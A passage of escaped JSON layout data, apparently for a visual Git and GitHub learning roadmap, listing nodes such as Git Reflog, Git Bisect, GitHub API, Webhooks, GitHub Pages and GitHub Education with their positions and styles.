\"x\": 1040.9255430960754,\n        \"y\": 3107.41990782706\n      },\n      \"selected\": true,\n      \"data\": {\n        \"label\": \"Marketplace Actions\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 227,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 227,\n        \"height\": 49\n      },\n      \"positionAbsolute\": {\n        \"x\": 1040.9255430960754,\n        \"y\": 3107.41990782706\n      },\n      \"dragging\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 227,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"PUnYNBrAZWoZiopjtNgnA\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": 781.8760409943199,\n        \"y\": 2595.7489330045287\n      },\n      \"selected\": true,\n      \"data\": {\n        \"label\": \"Usecases\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"oldId\": \"Ni3HKVLanFvSrJ3u8i5I1\"\n      },\n      \"zIndex\": 999,\n      \"width\": 172,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 172,\n        \"height\": 49\n      },\n      \"positionAbsolute\": {\n        \"x\": 781.8760409943199,\n        \"y\": 2595.7489330045287\n      },\n      \"dragging\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 172,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"Ni3HKVLanFvSrJ3u8i5I1\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": 781.8760409943199,\n        \"y\": 2542.7489330045287\n      },\n      \"selected\": true,\n      \"data\": {\n        \"label\": \"What are these?\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 172,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 172,\n        \"height\": 49\n      },\n      \"positionAbsolute\": {\n        \"x\": 781.8760409943199,\n        \"y\": 2542.7489330045287\n      },\n      \"dragging\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 172,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"ninjmIn5APEPuIbDhRuUh\",\n      \"type\": \"vertical\",\n      \"position\": {\n        \"x\": 1010.8760409943199,\n        \"y\": 2632.91990782706\n      },\n      \"selected\": true,\n      \"data\": {\n        \"label\": \"vertical node\",\n        \"style\": {\n          \"stroke\": \"#2B78E4\",\n          \"strokeWidth\": 3.55\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 21,\n      \"height\": 521,\n      \"style\": {\n        \"width\": 21,\n        \"height\": 521\n      },\n      \"positionAbsolute\": {\n        \"x\": 1010.8760409943199,\n        \"y\": 2632.91990782706\n      },\n      \"dragging\": false,\n      \"resizing\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 21,\n        \"height\": 521\n      }\n    },\n    {\n      \"id\": \"Y0EWgPsS4kZxH3y53jNxY\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": 205.53169343447416,\n        \"y\": 2978.2779308290865\n      },\n      \"selected\": true,\n      \"data\": {\n        \"label\": \"Use in Automation\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 244,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 244,\n        \"height\": 49\n      },\n      \"positionAbsolute\": {\n        \"x\": 205.53169343447416,\n        \"y\": 2978.2779308290865\n      },\n      \"dragging\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 244,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"sFf1PdFfmEdQxsEntfeFq\",\n      \"type\": \"topic\",\n      \"position\": {\n        \"x\": 395.53169343447416,\n        \"y\": 2464.7489330045287\n      },\n      \"selected\": true,\n      \"data\": {\n        \"label\": \"Git Patch\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 125,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 125,\n        \"height\": 49\n      },\n      \"positionAbsolute\": {\n        \"x\": 395.53169343447416,\n        \"y\": 2464.7489330045287\n      },\n      \"dragging\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"resizing\": false,\n      \"measured\": {\n        \"width\": 125,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"Q7BSE-ueezjXkYluzMecJ\",\n      \"type\": \"paragraph\",\n      \"position\": {\n        \"x\": 746.0316934344742,\n        \"y\": 2869.102227419993\n      },\n      \"selected\": true,\n      \"data\": {\n        \"label\": \"Advanced Git Topics\",\n        \"style\": {\n          \"fontSize\": 20,\n          \"borderColor\": \"transparent\",\n          \"backgroundColor\": \"transparent\",\n          \"color\": \"#000000\",\n          \"textAlign\": \"center\",\n          \"justifyContent\": \"center\",\n          \"padding\": 16\n        },\n        \"oldId\": \"RvqrjCowu0YK5QWK2ZVyg\"\n      },\n      \"zIndex\": 999,\n      \"width\": 239,\n      \"height\": 43,\n      \"style\": {\n        \"width\": 239,\n        \"height\": 43\n      },\n      \"resizing\": false,\n      \"dragging\": false,\n      \"positionAbsolute\": {\n        \"x\": 746.0316934344742,\n        \"y\": 2869.102227419993\n      },\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 239,\n        \"height\": 43\n      }\n    },\n    {\n      \"id\": \"hru0sL1-D4bJSQI1efEyU\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": 479.407889216747,\n        \"y\": 2763.102227419993\n      },\n      \"selected\": true,\n      \"data\": {\n        \"label\": \"Git Reflog\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 155,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 155,\n        \"height\": 49\n      },\n      \"positionAbsolute\": {\n        \"x\": 479.407889216747,\n        \"y\": 2763.102227419993\n      },\n      \"dragging\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 155,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"ExXuwTQSI_lg4SRGW3Iu1\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": 479.407889216747,\n        \"y\": 2816.102227419993\n      },\n      \"selected\": true,\n      \"data\": {\n        \"label\": \"Git Bisect\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 155,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 155,\n        \"height\": 49\n      },\n      \"positionAbsolute\": {\n        \"x\": 479.407889216747,\n        \"y\": 2816.102227419993\n      },\n      \"dragging\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 155,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"4dxVN81rXWn6VZqK99yq0\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": 479.407889216747,\n        \"y\": 2869.102227419993\n      },\n      \"selected\": true,\n      \"data\": {\n        \"label\": \"Git Worktree\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 155,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 155,\n        \"height\": 49\n      },\n      \"positionAbsolute\": {\n        \"x\": 479.407889216747,\n        \"y\": 2869.102227419993\n      },\n      \"selectable\": true,\n      \"focusable\": true,\n      \"dragging\": false,\n      \"measured\": {\n        \"width\": 155,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"CGj_UX5JMOOCKinedsNRc\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": 479.407889216747,\n        \"y\": 2922.102227419993\n      },\n      \"selected\": true,\n      \"data\": {\n        \"label\": \"Git Attributes\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 155,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 155,\n        \"height\": 49\n      },\n      \"positionAbsolute\": {\n        \"x\": 479.407889216747,\n        \"y\": 2922.102227419993\n      },\n      \"dragging\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 155,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"zdunaucVe8J1tKf_z-NQo\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": 479.407889216747,\n        \"y\": 2975.102227419993\n      },\n      \"selected\": true,\n      \"data\": {\n        \"label\": \"Git LFS\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 156,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 156,\n        \"height\": 49\n      },\n      \"positionAbsolute\": {\n        \"x\": 479.407889216747,\n        \"y\": 2975.102227419993\n      },\n      \"dragging\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 156,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"xK8mSkkxTABUZV9zZjDPH\",\n      \"type\": \"paragraph\",\n      \"position\": {\n        \"x\": 732.5316934344742,\n        \"y\": 3200.29226453252\n      },\n      \"selected\": true,\n      \"data\": {\n        \"label\": \"GitHub Developer Tools\",\n        \"style\": {\n          \"fontSize\": 20,\n          \"borderColor\": \"transparent\",\n          \"backgroundColor\": \"transparent\",\n          \"color\": \"#000000\",\n          \"textAlign\": \"center\",\n          \"justifyContent\": \"center\",\n          \"padding\": 16\n        },\n        \"oldId\": \"RvqrjCowu0YK5QWK2ZVyg\"\n      },\n      \"zIndex\": 999,\n      \"width\": 266,\n      \"height\": 42,\n      \"style\": {\n        \"width\": 266,\n        \"height\": 42\n      },\n      \"resizing\": false,\n      \"dragging\": false,\n      \"positionAbsolute\": {\n        \"x\": 732.5316934344742,\n        \"y\": 3200.29226453252\n      },\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 266,\n        \"height\": 42\n      }\n    },\n    {\n      \"id\": \"CDde9XlrZz6YZa9oo5WHl\",\n      \"type\": \"vertical\",\n      \"position\": {\n        \"x\": 857.3760409943199,\n        \"y\": 2924.602227419993\n      },\n      \"selected\": true,\n      \"data\": {\n        \"label\": \"vertical node\",\n        \"style\": {\n          \"stroke\": \"#2B78E4\",\n          \"strokeWidth\": 3.55,\n          \"strokeDasharray\": \"0\",\n          \"strokeLinecap\": \"round\"\n        },\n        \"oldId\": \"GyhfjObOGq-CwF_VIwO8b\"\n      },\n      \"zIndex\": 999,\n      \"width\": 21,\n      \"height\": 265,\n      \"style\": {\n        \"width\": 21,\n        \"height\": 265\n      },\n      \"positionAbsolute\": {\n        \"x\": 857.3760409943199,\n        \"y\": 2924.602227419993\n      },\n      \"dragging\": false,\n      \"resizing\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 21,\n        \"height\": 265\n      }\n    },\n    {\n      \"id\": \"NV2HAXLEN7tskfgyFrbaf\",\n      \"type\": \"topic\",\n      \"position\": {\n        \"x\": 479.407889216747,\n        \"y\": 3196.79226453252\n      },\n      \"selected\": true,\n      \"data\": {\n        \"label\": \"GitHub API\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"oldId\": \"MoG7D9kqPuA6o52-z_WDN\"\n      },\n      \"zIndex\": 999,\n      \"width\": 156,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 156,\n        \"height\": 49\n      },\n      \"positionAbsolute\": {\n        \"x\": 479.407889216747,\n        \"y\": 3196.79226453252\n      },\n      \"dragging\": false,\n      \"resizing\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 156,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"lSCnKhmRr6xrKVYxO8idD\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": 479.407889216747,\n        \"y\": 3058.4066404943324\n      },\n      \"selected\": true,\n      \"data\": {\n        \"label\": \"REST API\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 156,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 156,\n        \"height\": 49\n      },\n      \"positionAbsolute\": {\n        \"x\": 479.407889216747,\n        \"y\": 3058.4066404943324\n      },\n      \"dragging\": false,\n      \"resizing\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 156,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"KlXPt-K6br8PtpLgELaCj\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": 479.407889216747,\n        \"y\": 3111.4066404943324\n      },\n      \"selected\": true,\n      \"data\": {\n        \"label\": \"GraphQL API\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 156,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 156,\n        \"height\": 49\n      },\n      \"positionAbsolute\": {\n        \"x\": 479.407889216747,\n        \"y\": 3111.4066404943324\n      },\n      \"dragging\": false,\n      \"resizing\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 156,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"5Oax1p7zIZ9HD2hmENPof\",\n      \"type\": \"topic\",\n      \"position\": {\n        \"x\": 215.03169343447416,\n        \"y\": 3196.79226453252\n      },\n      \"selected\": true,\n      \"data\": {\n        \"label\": \"Creating Apps\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 156,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 156,\n        \"height\": 49\n      },\n      \"positionAbsolute\": {\n        \"x\": 215.03169343447416,\n        \"y\": 3196.79226453252\n      },\n      \"dragging\": false,\n      \"resizing\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 156,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"560GJXFTt7DPdJjKtSDOo\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": 215.53169343447416,\n        \"y\": 3059.400921696242\n      },\n      \"selected\": true,\n      \"data\": {\n        \"label\": \"GitHub Apps\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 155,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 155,\n        \"height\": 49.28173828125\n      },\n      \"positionAbsolute\": {\n        \"x\": 215.53169343447416,\n        \"y\": 3059.400921696242\n      },\n      \"dragging\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 155,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"qrdOARfqGPF9xhF6snbAn\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": 215.53169343447416,\n        \"y\": 3112.400921696242\n      },\n      \"selected\": true,\n      \"data\": {\n        \"label\": \"OAuth Apps\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 155,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 155\n      },\n      \"positionAbsolute\": {\n        \"x\": 215.53169343447416,\n        \"y\": 3112.400921696242\n      },\n      \"dragging\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 155,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"MoG7D9kqPuA6o52-z_WDN\",\n      \"type\": \"topic\",\n      \"position\": {\n        \"x\": 1079.0316934344742,\n        \"y\": 3196.79226453252\n      },\n      \"selected\": true,\n      \"data\": {\n        \"label\": \"Webhooks\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"oldId\": \"5Oax1p7zIZ9HD2hmENPof\"\n      },\n      \"zIndex\": 999,\n      \"width\": 156,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 156,\n        \"height\": 49\n      },\n      \"positionAbsolute\": {\n        \"x\": 1079.0316934344742,\n        \"y\": 3196.79226453252\n      },\n      \"dragging\": false,\n      \"resizing\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 156,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"RvqrjCowu0YK5QWK2ZVyg\",\n      \"type\": \"paragraph\",\n      \"position\": {\n        \"x\": 734.8760409943199,\n        \"y\": 3380.381300735853\n      },\n      \"selected\": true,\n      \"data\": {\n        \"label\": \"More GitHub Features\",\n        \"style\": {\n          \"fontSize\": 20,\n          \"borderColor\": \"transparent\",\n          \"backgroundColor\": \"transparent\",\n          \"color\": \"#000000\",\n          \"textAlign\": \"center\",\n          \"justifyContent\": \"center\",\n          \"padding\": 16\n        },\n        \"oldId\": \"Nr3MMuTWvDY6p1N7gSRDz\"\n      },\n      \"zIndex\": 999,\n      \"width\": 266,\n      \"height\": 42,\n      \"style\": {\n        \"width\": 266,\n        \"height\": 42\n      },\n      \"resizing\": false,\n      \"dragging\": false,\n      \"positionAbsolute\": {\n        \"x\": 734.8760409943199,\n        \"y\": 3380.381300735853\n      },\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 266,\n        \"height\": 42\n      }\n    },\n    {\n      \"id\": \"GyhfjObOGq-CwF_VIwO8b\",\n      \"type\": \"vertical\",\n      \"position\": {\n        \"x\": 857.3760409943199,\n        \"y\": 3262.6578360691838\n      },\n      \"selected\": true,\n      \"data\": {\n        \"label\": \"vertical node\",\n        \"style\": {\n          \"stroke\": \"#2B78E4\",\n          \"strokeWidth\": 3.55,\n          \"strokeDasharray\": \"0\",\n          \"strokeLinecap\": \"round\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 21,\n      \"height\": 110,\n      \"style\": {\n        \"width\": 21,\n        \"height\": 110\n      },\n      \"positionAbsolute\": {\n        \"x\": 857.3760409943199,\n        \"y\": 3262.6578360691838\n      },\n      \"dragging\": false,\n      \"resizing\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 21,\n        \"height\": 110\n      }\n    },\n    {\n      \"id\": \"vhdGUhMAyre_Xya6IxZ-t\",\n      \"type\": \"topic\",\n      \"position\": {\n        \"x\": 449.8445524291993,\n        \"y\": 3510.881300735853\n      },\n      \"selected\": true,\n      \"data\": {\n        \"label\": \"GitHub Sponsors\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"oldId\": \"rqPCHh25xX_ROMr-ULpaw\"\n      },\n      \"zIndex\": 999,\n      \"width\": 201,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 201,\n        \"height\": 49\n      },\n      \"positionAbsolute\": {\n        \"x\": 449.8445524291993,\n        \"y\": 3510.881300735853\n      },\n      \"selectable\": true,\n      \"focusable\": true,\n      \"dragging\": false,\n      \"measured\": {\n        \"width\": 201,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"bnai6R6pOq_L5CPdbVwMW\",\n      \"type\": \"topic\",\n      \"position\": {\n        \"x\": 1089.0374122325647,\n        \"y\": 3376.881300735853\n      },\n      \"selected\": true,\n      \"data\": {\n        \"label\": \"GitHub Pages\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"oldId\": \"rqPCHh25xX_ROMr-ULpaw\"\n      },\n      \"zIndex\": 999,\n      \"width\": 176,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 176,\n        \"height\": 49\n      },\n      \"positionAbsolute\": {\n        \"x\": 1089.0374122325647,\n        \"y\": 3376.881300735853\n      },\n      \"selectable\": true,\n      \"focusable\": true,\n      \"dragging\": false,\n      \"measured\": {\n        \"width\": 176,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"M2_hBvXou7cCNqsMnexCt\",\n      \"type\": \"topic\",\n      \"position\": {\n        \"x\": 449.8445524291993,\n        \"y\": 3298.881300735853\n      },\n      \"selected\": true,\n      \"data\": {\n        \"label\": \"GitHub Gists\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"oldId\": \"iWn3zDMOfLLjSp6f1jQoE\"\n      },\n      \"zIndex\": 999,\n      \"width\": 201,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 201,\n        \"height\": 49\n      },\n      \"positionAbsolute\": {\n        \"x\": 449.8445524291993,\n        \"y\": 3298.881300735853\n      },\n      \"selectable\": true,\n      \"focusable\": true,\n      \"dragging\": false,\n      \"measured\": {\n        \"width\": 201,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"rqPCHh25xX_ROMr-ULpaw\",\n      \"type\": \"topic\",\n      \"position\": {\n        \"x\": 449.8445524291993,\n        \"y\": 3351.881300735853\n      },\n      \"selected\": true,\n      \"data\": {\n        \"label\": \"GitHub Packages\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 201,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 201,\n        \"height\": 49\n      },\n      \"positionAbsolute\": {\n        \"x\": 449.8445524291993,\n        \"y\": 3351.881300735853\n      },\n      \"selectable\": true,\n      \"focusable\": true,\n      \"dragging\": false,\n      \"measured\": {\n        \"width\": 201,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"ZHplGidvhxEIC3HN8KqRa\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": 1021.0316934344742,\n        \"y\": 3274.4626439764525\n      },\n      \"selected\": true,\n      \"data\": {\n        \"label\": \"Deploying Static Websites\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 245,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 245,\n        \"height\": 49\n      },\n      \"positionAbsolute\": {\n        \"x\": 1021.0316934344742,\n        \"y\": 3274.4626439764525\n      },\n      \"dragging\": false,\n      \"focusable\": true,\n      \"selectable\": true,\n      \"resizing\": true,\n      \"measured\": {\n        \"width\": 245,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"VdoxEWaU56-QCbHFRw649\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": 1022.0316934344742,\n        \"y\": 3486.2445399831518\n      },\n      \"selected\": true,\n      \"data\": {\n        \"label\": \"Custom Domains\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 244,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 244,\n        \"height\": 49\n      },\n      \"positionAbsolute\": {\n        \"x\": 1022.0316934344742,\n        \"y\": 3486.2445399831518\n      },\n      \"dragging\": false,\n      \"focusable\": true,\n      \"selectable\": true,\n      \"measured\": {\n        \"width\": 244,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"iwfNYDlAgbA_rpWYcoHCC\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": 1022.0316934344742,\n        \"y\": 3539.2445399831518\n      },\n      \"selected\": true,\n      \"data\": {\n        \"label\": \"Static Site Generators\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 244,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 244,\n        \"height\": 49\n      },\n      \"positionAbsolute\": {\n        \"x\": 1022.0316934344742,\n        \"y\": 3539.2445399831518\n      },\n      \"dragging\": false,\n      \"focusable\": true,\n      \"selectable\": true,\n      \"measured\": {\n        \"width\": 244,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"NdfwgwMOewiyEAFyC2l7U\",\n      \"type\": \"topic\",\n      \"position\": {\n        \"x\": 449.8445524291993,\n        \"y\": 3404.881300735853\n      },\n      \"selected\": true,\n      \"data\": {\n        \"label\": \"GitHub Codespaces\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"oldId\": \"4slyjdk2Eeg5VYY6gCDG6\"\n      },\n      \"zIndex\": 999,\n      \"width\": 201,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 201,\n        \"height\": 49\n      },\n      \"positionAbsolute\": {\n        \"x\": 449.8445524291993,\n        \"y\": 3404.881300735853\n      },\n      \"dragging\": false,\n      \"focusable\": true,\n      \"selectable\": true,\n      \"measured\": {\n        \"width\": 201,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"pFyMiyNQ16-kP7jKaKKEU\",\n      \"type\": \"topic\",\n      \"position\": {\n        \"x\": 206.3814171159704,\n        \"y\": 3456.583923235142\n      },\n      \"selected\": true,\n      \"data\": {\n        \"label\": \"GitHub Education\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"oldId\": \"R20LXLLEzNn-SpyFDMRXj\"\n      },\n      \"zIndex\": 999,\n      \"width\": 239,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 239,\n        \"height\": 49\n      },\n      \"positionAbsolute\": {\n        \"x\": 206.3814171159704,\n        \"y\": 3456.583923235142\n      },\n      \"dragging\": false,\n      \"focusable\": true,\n      \"selectable\": true,\n      \"measured\": {\n        \"width\": 239,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"XRSVRl6iHncMmgSXoB7Lq\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": 206.3814171159704,\n        \"y\": 3574.398947531598\n      },\n      \"selected\": true,\n      \"data\": {\n        \"label\": \"Student Developer Pack\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 239,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 239,\n        \"height\": 49\n      },\n      \"positionAbsolute\": {\n        \"x\": 206.3814171159704,\n        \"y\": 3574.398947531598\n      },\n      \"dragging\": false,\n      \"resizing\": false,\n      \"focusable\": true,\n      \"selectable\": true,\n      \"measured\": {\n        \"width\": 239,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"Pg6G4fzYb_RUhANeRKlRX\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": 206.3814171159704,\n        \"y\": 3626.898947531598\n      },\n      \"selected\": true,\n      \"data\": {\n        \"label\": \"GitHub Classroom\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 239,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 239,\n        \"height\": 49\n      },\n      \"positionAbsolute\": {\n        \"x\": 206.3814171159704,\n        \"y\": 3626.898947531598\n      },\n      \"dragging\": false,\n      \"focusable\": true,\n      \"selectable\": true,\n      \"measured\": {\n        \"width\": 239,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"B1KiSOt2b8t8FYD7Jxw2A\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": 206.3814171159704,\n        \"y\": 3679.398947531598\n      },\n      \"selected\": true,\n      \"data\": {\n        \"label\": \"Campus Program\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 239,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 239,\n        \"height\": 49\n      },\n      \"positionAbsolute\": {\n        \"x\": 206.3814171159704,\n        \"y\": 3679.398947531598\n      },\n      \"dragging\": false,\n      \"focusable\": true,\n      \"selectable\": true,\n      \"measured\": {\n        \"width\": 239,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"R20LXLLEzNn-SpyFDMRXj\",\n      \"type\": \"topic\",\n      \"position\": {\n        \"x\": 206.3814171159704,\n        \"y\": 3402.504649727731\n      },\n      \"selected\": true,\n      \"data\": {\n        \"label\": \"GitHub Marketplace\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 239,\n      \"height\": 49,\n      \"style\": {\n        